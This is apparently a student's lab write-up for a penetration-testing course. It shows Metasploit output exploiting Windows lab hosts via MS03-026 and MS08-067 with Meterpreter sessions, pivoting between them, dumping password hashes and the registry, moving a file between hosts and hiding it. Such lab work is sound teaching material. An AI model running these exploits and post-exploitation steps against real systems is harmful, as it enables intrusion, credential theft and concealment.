

## 1. From Kali Linux, use any exploit to access to System1, and then enable a Meterpreter session on System2.

```
Applications ▾ Places ▾ Terminal ▾ Wed 15:18
root@kali: /root

File Edit View Search Terminal Help
msf exploit(windows/dcerpc/ms03_026_dcom) > show options
Module options (exploit/windows/dcerpc/ms03_026_dcom):
  Name      Current Setting  Required  Description
  ----      -
  RHOST     192.168.166.10  yes      The target address
  RPORT     135             yes      The target port (TCP)

Payload options (windows/meterpreter/reverse_tcp):
  Name      Current Setting  Required  Description
  ----      -
  EXITFUNC  thread          yes      Exit technique (Accepted: '', seh, thread, process, none)
  LHOST     192.168.166.201 yes      The listen address (an interface may be specified)
  LPORT     4444            yes      The listen port

Exploit target:
  Id  Name
  --  -
  0   Windows NT SP3-6a/2000/XP/2003 Universal

msf exploit(windows/dcerpc/ms03_026_dcom) > exploit
[*] Started reverse TCP handler on 192.168.166.201:4444
[*] 192.168.166.10:135 - Trying target Windows NT SP3-6a/2000/XP/2003 Universal...
[*] 192.168.166.10:135 - Binding to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:192.168.166.10[135] ...
[*] 192.168.166.10:135 - Bound to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:192.168.166.10[135] ...
[*] 192.168.166.10:135 - Sending exploit ...
[*] Sending stage (179779 bytes) to 192.168.166.10
[*] Meterpreter session 1 opened (192.168.166.201:4444 -> 192.168.166.10:1032) at 2019-05-01 15:18:03 -0500

meterpreter >

Applications ▾ Places ▾ Terminal ▾ Wed 15:29
root@kali: /root

msf exploit(windows/smb/ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):
  Name      Current Setting  Required  Description
  ----      -
  RHOST     10.10.10.200     yes      The target address
  RPORT     445              yes      The SMB service port (TCP)
  SMBPIPE   BROWSER          yes      The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/meterpreter/bind_tcp):
  Name      Current Setting  Required  Description
  ----      -
  EXITFUNC  thread          yes      Exit technique (Accepted: '', seh, thread, process, none)
  LPORT     4444            yes      The listen port
  RHOST     10.10.10.200     no       The target address

Exploit target:
  Id  Name
  --  -
  0   Automatic Targeting

msf exploit(windows/smb/ms08_067_netapi) > exploit
[*] 10.10.10.200:445 - Automatically detecting the target...
[*] 10.10.10.200:445 - Fingerprint: Windows XP - Service Pack 0 / 1 - lang:English
[*] 10.10.10.200:445 - Selected Target: Windows XP SP0/SPI Universal
[*] 10.10.10.200:445 - Attempting to trigger the vulnerability...
[*] Started bind TCP handler against 10.10.10.200:4444
[*] Sending stage (179779 bytes) to 10.10.10.200
[*] Meterpreter session 4 opened (192.168.166.201-192.168.166.10:0 -> 10.10.10.200:4444) at 2019-05-01 15:28:59 -0500

meterpreter >
```

Kali linux accessing System1 through exploit windows/dcerpc/ms03\_026\_dcom. Once accessed, run arp\_scanner to find related systems then add the route to connect to System2. Scan auxiliary ports to find out vulnerable ports, in this case 445. Then, exploit windows/smb/ms08\_067\_netapi because it utilizes port 445 to enable a meterpreter session on System2.

## 2. Once you open a Meterpreter session in System2 execute the following commands: a. run checksum b. run get\_env c. run get\_application\_list Add a detail description of your findings for each command.

```
meterpreter > run checksum
[-] The specified meterpreter session script could not be found: checksum
meterpreter >
```

The script to execute checksum is not found so there were no findings for this command.

```
meterpreter > run get_env
[*] Getting all System and User Variables

Environment Variable list
=====
Name      Value
----      -
ComSpec   C:\WINDOWS\system32\cmd.exe
NUMBER_OF_PROCESSORS 1
OS        Windows_NT
PATHEXT   .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PROCESSOR_ARCHITECTURE x86
PROCESSOR_IDENTIFIER   x86 Family 6 Model 14 Stepping 3, GenuineIntel
PROCESSOR_LEVEL        6
PROCESSOR_REVISION     0e03
Path                C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem
TEMP                C:\WINDOWS\TEMP
TMP                C:\WINDOWS\TEMP
windir            C:\WINDOWS

meterpreter >
```

Lists of environment variable values of certain processes.

```
meterpreter > run get_application_list

[!] Meterpreter scripts are deprecated. Try post/windows/gather/enum_applications.
[!] Example: run post/windows/gather/enum_applications OPTION=value [...]

Installed Applications
=====
Name      Version
----      -
Windows Installer 3.1 (KB893803) 3.1

meterpreter >
```

List of installed applications along with the version number. In this case, only version 3.1 of Windows Installer is installed.

### 3. Keep your session in System2 and execute run scraper command, Are you able to get some information? if so, what kind of information?

```
meterpreter > run scraper
[*] New session on 10.10.10.200:445...
[*] Gathering basic system information...
[*] Dumping password hashes...
[*] Obtaining the entire registry...
[*] Exporting HKCU
[*] Downloading HKCU (C:\WINDOWS\TEMP\HkzChbtp.reg)
[*] Cleaning HKCU
[*] Exporting HKLM
[*] Downloading HKLM (C:\WINDOWS\TEMP\IcWZKfto.reg)
[*] Cleaning HKLM
[*] Exporting HKCC
[*] Downloading HKCC (C:\WINDOWS\TEMP\NTBFZBih.reg)
[*] Cleaning HKCC
[*] Exporting HKCR
[*] Downloading HKCR (C:\WINDOWS\TEMP\hYWSRZdp.reg)
[*] Cleaning HKCR
[*] Exporting HKU
[*] Downloading HKU (C:\WINDOWS\TEMP\AvwKFSkn.reg)
[*] Cleaning HKU
[*] Completed processing on 10.10.10.200:445...

meterpreter >
```

Applications ▾ Places ▾ Terminal ▾ Wed 15:36  
root@kali: /root/.msf4/logs/scripts/scraper/10.10.10.200\_20190501.305643977

```
File Edit View Search Terminal Help
root@kali:~/msf4/logs/scripts/scraper/10.10.10.200_20190501.305643977# ls
env.txt hashes.txt HKCR.reg HKLM.reg localgroup.txt network.txt shares.txt system.txt
group.txt HKCC.reg HKCU.reg HKU.reg nethood.txt services.txt systeminfo.txt users.txt
root@kali:~/msf4/logs/scripts/scraper/10.10.10.200_20190501.305643977#
```

### 4. Keep your session in System2 and execute hashdump command to list MS Windows user accounts.

```
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404eeaad3b435b51404ee:687a3ace9f13202205c6f67734209c...
Alice:1008:ec0095a0e230f4e3b8f7f4d63d6134b3727080e20b29c91204d4f584...
Guest:501:aad3b435b51404eeaad3b435b51404eeaad3b435b51404ee:31dc7e0d1ae931b7c59d7ec889c8...
NoSystemTime:1000:ec0095a0e230f4e3b8f7f4d63d6134b3727080e20b29c91204d4f584...
Jesus:1003:96da71a7fa06b35aad3b435b51404eeaad3b435b51404ee:6687a3ace9f13202205c6f67734209c...
SUPERNT:3000000:1002:aad3b435b51404eeaad3b435b51404ee:d27236313497a208566ad273776344c9...
meterpreter >
```

List of user accounts of System2, in this instance I have also created user 'alice' which is also listed with the default accounts.

5. In Linux, user ID (located in /etc/passwd) in the range of 0 to 99 should be statically allocated by the system, while UIDs from 100 to 499 should be reserved for dynamic allocation by system administrators and post install scripts. Is there a similar logic of UID ranges for Windows users? Windows utilizes Security Identifiers, or SID, in place of UID. SID follows similar log of UID ranges like Linux, such as administrator accounts ending in 500 or guest accounts ending in 501, and so on and so on.

6. Keep your session in System2, enable the windows shell and create a network\_[YOUR\_PAWPRINT].txt file with the content of the ipconfig /all command execution. Can you copy the file to the Kali system, add a line to the end of the file and copy it back to System2?.

```
C:\>echo "Windows IP Configuration Host Name . . . . . : segurida-s6yykd Primary Dns Suffix . . . . . : Node Type . . . . . : Unknown IP R
outing Enabled. . . . . : No WINS Proxy Enabled. . . . . : No Ethernet adapter Local Area Connection: Connection-specific DNS Suffix . : Description . . . .
. . . . . : VMware Accelerated AMD PCNET Adapter Physical Address. . . . . : 00-0C-29-F3-8D-37 Dhcp Enabled. . . . . : No IP Address. . . . .
. . . . . : 10.10.10.200 Subnet Mask . . . . . : 255.255.255.0" > network_BYPXTD.txt

C:\>dir
dir
Volume in drive C has no label.
Volume Serial Number is D04C-9CB7

Directory of C:\

10/09/2013  06:51 PM          0 AUTOEXEC.BAT
10/09/2013  06:51 PM          0 CONFIG.SYS
05/01/2019  03:55 PM        <DIR>      Documents and Settings
02/15/2019  07:28 PM        <DIR>      nc
05/01/2019  04:50 PM          577 network_BYPXTD.txt
05/01/2019  03:55 PM        <DIR>      Program Files
10/09/2013  08:33 PM        <DIR>      WINDOWS
               3 File(s)              577 bytes
               4 Dir(s)  30,467,612,672 bytes free
```

Creation of network\_BYPXTD.txt with the contents of ipconfig /all command execution.

```
C:\>exit
meterpreter > download c:\\network_BYPXTD.txt
[*] Downloading: c:\\network_BYPXTD.txt -> network_BYPXTD.txt
[*] Downloaded 577.00 B of 577.00 B (100.0%): c:\\network_BYPXTD.txt -> network_BYPXTD.txt
[*] download c:\\network_BYPXTD.txt -> network_BYPXTD.txt
meterpreter >
```

Downloading network\_BYPXTD.txt onto the kali system. Then editing the file “vi network\_BYPXTD.txt” and adding a new line to the end of the file.

```
meterpreter > upload network_BYPXTD.txt
[*] Uploading: network_BYPXTD.txt -> network_BYPXTD.txt
[*] Uploaded 618.00 B of 618.00 B (100.0%): network_BYPXTD.txt -> network_BYPXTD.txt
[*] upload c:\\network_BYPXTD.txt -> network_BYPXTD.txt
meterpreter >
```

Uploading network\_BYPXTD.txt back to System2.

```
C:\WINDOWS\system32>type network_BYPXTD.txt
type network_BYPXTD.txt
"Windows IP Configuration Host Name . . . . . : segurida-s6yykd Primary Dns Suffix . . . . . : Node Type . . . . . : Unknown IP Routing Enabled. . . . . : No WINS Proxy Enabled. . . . . : No Ethernet adapter
Local Area Connection: Connection-specific DNS Suffix . : Description . . . . . : VMware Accelerated AMD PCNET Adapter Physical Address. . . . . : 00-0C-29-F3-8D-37 Dhcp Enabled. . . . . : No IP Address. . . . .
. . . . . : 10.10.10.200 Subnet Mask . . . . . : 255.255.255.0"
new line added by remote system
C:\WINDOWS\system32>
```

Contents of network\_BYPXTD.txt displayed on System2.

## 7. Keep your session in System2 with windows shell enabled and hide the network\_[YOUR\_PAWPRINT].txt file located (Use only command line in Windows).

```
Command Prompt
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\alice>cd \
C:\>dir
dir
Volume in drive C has no label.
Volume Serial Number is D04C-9CB7

Directory of C:\

10/09/2013  06:51 PM          0 AUTOEXEC.BAT
10/09/2013  06:51 PM          0 CONFIG.SYS
05/01/2019  03:55 PM        <DIR>      Documents and Settings
02/15/2019  07:28 PM        <DIR>      nc
05/01/2019  04:50 PM          577 network_BYPXTD.txt
05/01/2019  03:55 PM        <DIR>      Program Files
10/09/2013  08:33 PM        <DIR>      WINDOWS
               3 File(s)              577 bytes
               4 Dir(s)  30,467,588,096 bytes free

C:\>attrib +h "network_BYPXTD.txt"

C:\>dir
dir
Volume in drive C has no label.
Volume Serial Number is D04C-9CB7

Directory of C:\

10/09/2013  06:51 PM          0 AUTOEXEC.BAT
10/09/2013  06:51 PM          0 CONFIG.SYS
05/01/2019  03:55 PM        <DIR>      Documents and Settings
02/15/2019  07:28 PM        <DIR>      nc
05/01/2019  03:55 PM        <DIR>      Program Files
10/09/2013  08:33 PM        <DIR>      WINDOWS
               2 File(s)              0 bytes
               4 Dir(s)  30,467,579,904 bytes free

C:\>
```

Open the command prompt of System2 and change the directory to where network\_BYPXTD.txt is located. Then executing “attrib +h ‘network\_BYPXTD.txt’” in order to hide the file from the command line.

```
Directory of C:\

10/09/2013  06:51 PM          0 AUTOEXEC.BAT
10/09/2013  06:51 PM          0 CONFIG.SYS
05/01/2019  03:55 PM        <DIR>      Documents and Settings
02/15/2019  07:28 PM        <DIR>      nc
05/01/2019  03:55 PM        <DIR>      Program Files
10/09/2013  08:33 PM        <DIR>      WINDOWS
               2 File(s)              0 bytes
               4 Dir(s)  30,467,579,904 bytes free

C:\>
```

Display of System2 directory from kali showing the file is hidden here as well.